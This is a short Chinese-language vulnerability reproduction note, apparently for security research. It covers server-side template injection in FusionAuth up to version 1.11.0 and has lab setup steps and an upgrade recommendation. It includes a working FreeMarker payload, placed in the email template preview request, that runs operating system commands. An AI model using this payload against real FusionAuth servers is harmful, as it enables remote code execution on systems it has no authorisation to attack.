简介¶

FusionAuth是一个免费的身份管理平台，安装简单，易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。

影响版本¶

FusionAuth <= 1.11.0

环境搭建¶

下载 FusionAuth 1.10.0

wget https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip

wget https://www.elastic.co/cn/downloads/past-releases/elasticsearch-6-8-6

启动 MySQL /etc/init.d/mysql start

启动 ElasticSearch systemctl start elasticsearch.service

启动 FusionAuth bin/startup.sh

http://Your-ip:9011打开网站

配置 FusionAuth

配置 Elastic Search

漏洞复现¶

进入 setting -> email template

然后编辑

点击 Preview,抓包

修改



emailTemplate.defaultHtmlTemplate



为



${"freemarker.template.utility.Execute"?new()("id")}

修复建议¶

升级到最新版